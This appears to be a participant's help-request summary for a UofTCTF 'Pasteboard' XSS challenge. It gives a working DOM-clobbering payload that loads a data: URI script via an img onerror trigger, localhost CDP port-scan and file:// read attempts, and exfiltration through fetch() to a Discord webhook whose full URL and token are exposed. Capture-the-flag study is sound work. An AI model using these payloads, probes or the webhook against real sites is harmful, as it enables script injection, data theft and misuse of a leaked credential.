# Pasteboard XSS Challenge - Complete Summary for Help

## Challenge Details

- **URL**: https://pasteboard-1fb68b7836775bea.chals.uoftctf.org/
- **Type**: Client-side XSS CTF challenge
- **Goal**: Get flag from bot's context
- **Important**: We CANNOT modify source code - this is a remote challenge

## What We Know Works ✅

### How We Got XSS

The vulnerability is in [src/static/app.js](src/static/app.js):

```javascript
// app.js - Error handling code
async function reportError(error) {
  const errorReporter = document.querySelector("#errorReporter");
  if (errorReporter?.path) {
    // VULNERABILITY: Dynamically loads script from errorReporter.path
    await import(errorReporter.path); // No validation!
  }
}
```

**Exploit Method**: DOM Clobbering

1. Create a `<form id="errorReporter">` element
2. Add `<input name="path" value="data:text/javascript,PAYLOAD">`
3. This clobbers the `#errorReporter` selector
4. Trigger an error with `<img onerror>`
5. The error handler executes our data: URI as JavaScript

**Working Payload Structure**:

```html
<form id="errorReporter">
  <input name="path" value="data:text/javascript,YOUR_JS_CODE" />
</form>
<img
  id="renderConfig"
  src="x"
  onerror="window.lastRenderError='x';throw new Error()"
/>
```

- ✅ Confirmed: JavaScript executes in bot context (external fetch() calls work)
- ✅ Confirmed: Bot visits pages successfully (30 second timeout)

### Bot Configuration

- **Browser**: HeadlessChrome/143.0.0.0
- **Platform**: Linux x86_64
- **Flags**: `--no-sandbox`, `--disable-gpu`, `--headless`
- **Driver**: Selenium/ChromeDriver (detected via `cdc_adoQpoasnfa76pfcZLmcfl_*` properties)
- **Origin**: `http://127.0.0.1:5000`
- **CSP**: `script-src 'nonce-{nonce}' 'strict-dynamic'`, `connect-src *`

## What We've Tried ❌

### 1. Chrome DevTools Protocol (CDP)

**Theory**: Use `--no-sandbox` to access CDP and read files via `/json/new?file://`

```javascript
// Tested ports: 9222, 9515, 32768-60999
fetch("http://localhost:9222/json/version");
```

**Result**: ❌ `Failed to fetch` on ALL ports - localhost blocked by browser security

### 2. File System Access

```javascript
// Direct file reading
fetch("file:///app/bot.py");
let xhr = new XMLHttpRequest();
xhr.open("GET", "file:///app/bot.py", false);
```

**Result**: ❌ Blocked by Same-Origin Policy

### 3. Standard Browser APIs

- `document.cookie` = empty string
- `localStorage` / `sessionStorage` = empty
- `window.FLAG` / `window.flag` = undefined
- All `window.*` properties enumerated = no flag
  **Result**: ❌ No flag in standard locations

### 4. Internal Endpoints

Tested: `/admin`, `/admin/doHttpReq`, `/internal`, `/api`, `/debug`
**Result**: ❌ All return 404

### 5. Chrome Extension/Internal URLs

- `chrome://inspect`
- `chrome-extension://`
- `/devtools/main/main.js`
  **Result**: ❌ Blocked or no response

## The Mystery 🤔

### What We Confirmed

1. ✅ XSS executes perfectly
2. ✅ External fetch() calls work (Discord/webhook)
3. ✅ Bot visits pages for 30 seconds
4. ✅ Can enumerate all browser properties
5. ✅ **CRITICAL**: `document.documentElement.outerHTML.includes('uoftctf')` returns **TRUE**

### The Problem

- The flag **IS** in the page HTML that the bot visits
- But when we try to extract it, we only see our own payload
- HTML length: ~2834-3088 characters
- The string "uoftctf" exists somewhere in the HTML
- We cannot find it with regex `/uoftctf\{[^}]+\}/`

## Source Code Analysis

### bot.py

**Location**: [src/bot.py](src/bot.py) (line 11)

```python
FLAG = os.getenv("FLAG", "uoftctf{fake_flag}")
```

**Critical Details**:

- FLAG is loaded from environment variable
- Default value is `"uoftctf{fake_flag}"` (for local testing)
- **The variable is NEVER used anywhere else in the code**
- It just sits there unused - this is suspicious!

Bot visit function:

```python
def visit_note(note_id):
    chrome_options = Options()
    chrome_options.add_argument("--headless")
    chrome_options.add_argument("--no-sandbox")  # ⚠️ KEY FLAG
    chrome_options.add_argument("--disable-dev-shm-usage")
    chrome_options.add_argument("--disable-gpu")

    driver = webdriver.Chrome(options=chrome_options)
    driver.get(f"http://127.0.0.1:5000/note/{note_id}")
    time.sleep(30)  # 30 second timeout
    driver.quit()
```

**Key Point**: `--no-sandbox` flag is present but we haven't found a way to exploit it

### Dockerfile

**Location**: [Dockerfile](Dockerfile)

```dockerfile
FROM python:3.11-slim

WORKDIR /app

# Install Chrome and ChromeDriver
RUN apt-get update && apt-get install -y \
    chromium \
    chromium-driver \
    && rm -rf /var/lib/apt/lists/*

# Copy application
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY src/ ./src/

# No FLAG environment variable set here!
# FLAG must be set at runtime by challenge infrastructure

EXPOSE 5000
CMD ["python", "src/app.py"]
```

**Important**:

- FLAG is NOT in Dockerfile
- It's set by the remote challenge environment
- We cannot see the real flag value locally
- Local bot.py has `"uoftctf{fake_flag}"` as default

### app.py

- Flask backend with DOMPurify sanitization
- CSP with nonce + strict-dynamic
- No obvious flag injection into HTML
- The XSS vulnerability is in app.js (client-side), not server-side

## Questions for Your Friend

1. **Where is the flag actually stored?**

   - We confirmed `html.includes('uoftctf')` = true
   - But cannot extract it with regex
   - Is it base64 encoded? Different format?

2. **How to access FLAG from bot.py?**

   - Variable is never used in code
   - CDP ports are blocked
   - How does JavaScript access Python variables?

3. **Is --no-sandbox actually exploitable here?**

   - All CDP endpoints blocked
   - file:// protocol blocked
   - What does --no-sandbox enable in this context?

4. **Are we looking in the wrong place?**
   - Should we be reading a different page?
   - Is flag injected dynamically somehow?
   - Is there an endpoint we missed?

## All Test Scripts Available

- `cdp_scan_v2.py` - CDP port scanner
- `cdp_common_ports.py` - Common CDP ports
- `solve_working.py` - HTML extraction attempt
- `full_search.py` - Comprehensive flag search
- `discord_test.py` - Internal endpoints check
- And 20+ other test variations

## Working Webhook

Discord: `https://discord.com/api/webhooks/1459424345695715369/Gnx874Rcb7-ZXqQ6VDy-M_nSB-Su9R8KHIkcyj890gv1e60djv89CJbCkyRi-QPc-HvH`

## What We Need

**The missing piece**: How to actually extract/access the flag that we know exists in the page context.

---

Last tested: January 10, 2026
Challenge still active: Yes
XSS confirmed working: Yes
Flag location: Unknown (but exists in HTML)
